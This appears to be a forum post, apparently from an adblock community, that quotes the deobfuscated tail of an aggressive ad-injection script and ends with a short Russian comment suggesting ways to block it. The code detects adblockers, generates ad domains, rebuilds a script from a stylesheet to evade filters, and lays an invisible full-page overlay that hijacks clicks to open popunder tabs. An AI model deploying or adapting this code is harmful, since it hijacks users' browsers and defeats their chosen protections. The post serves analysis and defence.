_var3 = _step2(_var3, _var4, _var1, _var2, check[T + 3], 14, -187363961);
_var2 = _step2(_var2, _var3, _var4, _var1, check[T + 8], 20, 1163531501);
_var1 = _step2(_var1, _var2, _var3, _var4, check[T + 13], 5, -1444681467);
_var4 = _step2(_var4, _var1, _var2, _var3, check[T + 2], 9, -51403784);
_var3 = _step2(_var3, _var4, _var1, _var2, check[T + 7], 14, 1735328473);
_var2 = _step2(_var2, _var3, _var4, _var1, check[T + 12], 20, -1926607734);
_var1 = _step3(_var1, _var2, _var3, _var4, check[T + 5], 4, -378558);
_var4 = _step3(_var4, _var1, _var2, _var3, check[T + 8], 11, -2022574463);
_var3 = _step3(_var3, _var4, _var1, _var2, check[T + 11], 16, 1839030562);
_var2 = _step3(_var2, _var3, _var4, _var1, check[T + 14], 23, -35309556);
_var1 = _step3(_var1, _var2, _var3, _var4, check[T + 1], 4, -1530992060);
_var4 = _step3(_var4, _var1, _var2, _var3, check[T + 4], 11, 1272893353);
_var3 = _step3(_var3, _var4, _var1, _var2, check[T + 7], 16, -155497632);
_var2 = _step3(_var2, _var3, _var4, _var1, check[T + 10], 23, -1094730640);
_var1 = _step3(_var1, _var2, _var3, _var4, check[T + 13], 4, 681279174);
_var4 = _step3(_var4, _var1, _var2, _var3, check[T + 0], 11, -358537222);
_var3 = _step3(_var3, _var4, _var1, _var2, check[T + 3], 16, -722521979);
_var2 = _step3(_var2, _var3, _var4, _var1, check[T + 6], 23, 76029189);
_var1 = _step3(_var1, _var2, _var3, _var4, check[T + 9], 4, -640364487);
_var4 = _step3(_var4, _var1, _var2, _var3, check[T + 12], 11, -421815835);
_var3 = _step3(_var3, _var4, _var1, _var2, check[T + 15], 16, 530742520);
_var2 = _step3(_var2, _var3, _var4, _var1, check[T + 2], 23, -995338651);
_var1 = _step4(_var1, _var2, _var3, _var4, check[T + 0], 6, -198630844);
_var4 = _step4(_var4, _var1, _var2, _var3, check[T + 7], 10, 1126891415);
_var3 = _step4(_var3, _var4, _var1, _var2, check[T + 14], 15, -1416354905);
_var2 = _step4(_var2, _var3, _var4, _var1, check[T + 5], 21, -57434055);
_var1 = _step4(_var1, _var2, _var3, _var4, check[T + 12], 6, 1700485571);
_var4 = _step4(_var4, _var1, _var2, _var3, check[T + 3], 10, -1894986606);
_var3 = _step4(_var3, _var4, _var1, _var2, check[T + 10], 15, -1051523);
_var2 = _step4(_var2, _var3, _var4, _var1, check[T + 1], 21, -2054922799);
_var1 = _step4(_var1, _var2, _var3, _var4, check[T + 8], 6, 1873313359);
_var4 = _step4(_var4, _var1, _var2, _var3, check[T + 15], 10, -30611744);
_var3 = _step4(_var3, _var4, _var1, _var2, check[T + 6], 15, -1560198380);
_var2 = _step4(_var2, _var3, _var4, _var1, check[T + 13], 21, 1309151649);
_var1 = _step4(_var1, _var2, _var3, _var4, check[T + 4], 6, -145523070);
_var4 = _step4(_var4, _var1, _var2, _var3, check[T + 11], 10, -1120210379);
_var3 = _step4(_var3, _var4, _var1, _var2, check[T + 2], 15, 718787259);
_var2 = _step4(_var2, _var3, _var4, _var1, check[T + 9], 21, -343485551);
_var1 = _sum(_var1, _var1init);
_var2 = _sum(_var2, _var2init);
_var3 = _sum(_var3, _var3init);
_var4 = _sum(_var4, _var4init);
}
return get(_var1) + get(_var2) + get(_var3) + get(_var4);
};
// BITWISE MAGIC BLOCK: END
window.zfgaabversion = "3.5.2";
var _bannerResolutions = ["468x60", "234x60", "120x240", "728x90", "300x250", "240x400"];
var _config_j5h = config.j5h;
var src = config.t5h;
var _regeneratePlaceholdersTimeoutID = void 0;
var _placeholders = [];
var child = child || {};
child.L5h = config.U5h;
child.b5h = "uxngHWCMgWBNwpQg";
var _adsDomainName = _generateDomanName();
var _adsPage = "//" + _adsDomainName + "/" + child.L5h + "/";
var _adsHREF = "//" + _adsDomainName + "/" + child.L5h;
if ((config.F5h !== void 0) && (config.F5h.length > 0)) {
var _nodes;
_waitForBody(function() {
_postponeABit(function() {
function _processNodes(nodes, adblockDetected) {
function _changeClass(node) {
if (node.classList.contains(config.F5h)) {
node.classList.remove(config.F5h);
node.classList.add(getValue(child.b5h + Date.now()));
}
}
for (let len = 0; len < nodes.length; len++) {
if (adblockDetected) {
nodes[len].href = _adsHREF + ".html";
_changeClass(nodes[len]);
continue;
}
nodes[len].href = _getScriptURL();
}
}
_nodes = document.querySelectorAll("." + config.F5h) ? document.querySelectorAll("." + config.F5h) : null;
if (_nodes == null)
return;
(function init() {
var node = document.createElement("iframe");
node.width = "1px";
node.height = "1px";
node.src = _getScriptURL();
_waitForBody(function() {
document.body.appendChild(node);
});
setTimeout(function() {
if (node.style.display == "none" || node.style.display == "hidden" || node.style.visibility == "hidden" || node.offsetHeight == 0) {
node.parentNode.removeChild(node);
_processNodes(_nodes, true); // adblock detected
} else {
node.parentNode.removeChild(node);
_processNodes(_nodes); // no adblock detected
}
}, 400);
})();
});
});
return;
}
var _onAdScriptLoadError = (function() {
var _runOnce = false;
return function() {
if (_runOnce)
return;
_runOnce = true;
let _script = document.createElement("script");
_script.src = _adsPage;
_waitForBody(function() {
document.body.appendChild(_script);
});
_script.onload = function() {
_script.parentNode.removeChild(_script);
if (window.zfgloadedpopup !== true) {
_ifBlocked(_script);
}
};
_script.onerror = function() {
_ifBlocked(_script);
};
};
})();
var _ifBlocked = (function() {
return function init(_script) {
if (_script.parentNode)
_script.parentNode.removeChild(_script);
// attach stylesheet with encoded script and work with it
var elem = document.createElement("link");
var target = document.getElementsByTagName("head")[0];
elem.id = _adsDomainName + "css";
elem.rel = "stylesheet";
elem.type = "text/css";
elem.crossOrigin = "anonymous";
elem.href = _adsHREF + ".css";
if (target)
target.insertBefore(elem, target.firstChild);
elem.onload = function() {
if (_isKnownHost(elem.href)) {
_addStarter("tabunder");
elem.parentNode.removeChild(elem);
return;
}
var _detachScript = _createScriptFromStyle(elem.href);
setTimeout(function() {
if (typeof _adScript === "function")
_detachScript();
elem.parentNode.removeChild(elem);
}, 1000);
if (window.zfgloadedpopup !== true)
_addStarter("tabunder");
};
elem.onerror = function() {
_addStarter("tabunder");
elem.parentNode.removeChild(elem);
};
};
})();
var _addStarter = (function() {
var _alreadySet = false;
return function(_mode) {
if (_alreadySet)
return;
_alreadySet = true;
function _saveToLocalStorage(a, b, c) {
localStorage.___goo = a + "|" + b + "|" + c;
}
function _getFromLocalStorage() {
return localStorage.___goo.split("|").map(el => parseInt(el, 10));
}
function filter(that) {
let filtered = [];
for (; that.length > 0;) {
filtered.push(that.splice(_getRandom(0, that.length), 1).toString());
}
return filtered;
}
var _currentTime = (new Date).getTime();
var _maxPopups = typeof config.n5h === "number" ? config.n5h : 3;
var which = typeof config.g5h === "number" ? config.g5h : 1;
var _minTimeBetweenPopups = typeof config.R2h === "number" ? config.R2h : 30;
var _linkHREF = void 0;
which = which * 1000 * 60 * 60;
_minTimeBetweenPopups *= 1000;
if (!localStorage.___goo) {
_saveToLocalStorage(_currentTime, 0, 0);
_regeneratePlaceholders();
} else {
var _some = _parseState(_getFromLocalStorage(), 2);
var mod = _some[0];
var _lastTime = _some[1];
if (which === 0) {
_saveToLocalStorage(0, _lastTime, 0);
} else {
if (_currentTime > mod + which) {
_saveToLocalStorage(_currentTime, _lastTime, 0);
} else {}
}
var matches = _parseState(_getFromLocalStorage(), 3);
var classNames = matches[2];
if ((_maxPopups === 0 || classNames < _maxPopups) && (_currentTime > _lastTime + _minTimeBetweenPopups)) {
_regeneratePlaceholders();
}
}
var el = document.createElement("A");
el.href = _adsHREF + ".html";
el.rel = "nofollow norefferer noopener";
var _zIndex = _getRandom(9999999, 99999999);
var _width = _getRandom(98, 101);
var _height = _getRandom(98, 101);
var _top = _getRandom(0, 4);
var _bottom = _getRandom(0, 4);
var _left = _getRandom(0, 4);
var _right = _getRandom(0, 4);
var a = [
"position:fixed;",
"width:" + _width + "%;",
"height:" + _height + "%;",
"top:" + _top + "px;",
"left:" + _left + "px;",
"right:" + _right + "px;",
"bottom:" + _bottom + "px;",
"z-index:" + _zIndex + ";"
];
document.addEventListener("mousedown", function(event) {
var _some = _parseState(_getFromLocalStorage(), 3);
var _lastTime = _some[1];
var _lastPopups = _some[2];
if ((new Date).getTime() <= _lastTime + _minTimeBetweenPopups) {
return; // exit if not enough time passed since last popup
}
if (_lastPopups >= _maxPopups && _maxPopups !== 0) {
return; // exit if popups goal is set and already reached
}
var o = event.target.closest("A");
if (o)
_linkHREF = o.href;
event.preventDefault();
event.stopPropagation();
_dropPlaceholders();
_waitForBody(function() {
return document.body.appendChild(el);
});
el.style.cssText += filter(a).join('');
}, true);
el.addEventListener("mouseup", function(event) {
var _some = _parseState(_getFromLocalStorage(), 3);
var _newWindow = void 0;
event.preventDefault();
event.stopPropagation();
event.stopImmediatePropagation();
_saveToLocalStorage(_some[0], (new Date).getTime(), _some[2] + 1);
// tabunder mode
if (_mode === "tabunder") {
_newWindow = window.open('');
// load clicked link (if present) or current URL in a new tab
_newWindow.location = _linkHREF || window.location;
// replace content of current window with ads
window.location = el.href + "?q";
_newWindow.opener = null;
el.parentNode.removeChild(el);
return;
}
// popup mode
_newWindow = window.open("|");
// code to load ads after short timeout
_newWindow.document.write('<html><head><script>window.opener = null; setTimeout(function(){ window.location.replace("' + el.href + '?q");}, 300);</script></head><body></body></html>');
el.parentNode.removeChild(el);
}, true);
};
})();
var _generatePlaceholder = (function() {
let node = document.createElement("div");
node.style.zIndex = 999999;
node.style.backgroundImage = "url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)";
// return function to control placeholders
return function(_style) {
let _clone = node.cloneNode(false);
// apply style to cloned node
for (let _prop in _style)
if (_style.hasOwnProperty(_prop))
_clone.style[_prop] = _style[_prop];
document.body.appendChild(_clone);
return _clone;
};
})();
window[onErrorName] = _onAdScriptLoadError;
window[onLoadName] = function() {
if (window.zfgloadedpopup !== true)
node();
};
} catch (ignore) {}
})({
j5h: "",
U5h: 1397381,
n5h: 3,
g5h: 3,
R2h: 45,
// reversed base64 "pejqoq4cafo3bg9yqqqtk5e6s6.com"
t5h: ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"],
F5h: ""
}, "_hmiadab", "_ihlnws");
Способы блокировки?
Например, запретить onload/onerror для скриптов на сайтах с подобной дрянью, переопределив пустым сеттером, добавить zfgloadedpopup === true и, по желанию, сломать геттер у свойства 'content' стилей.
Автор: Lain_13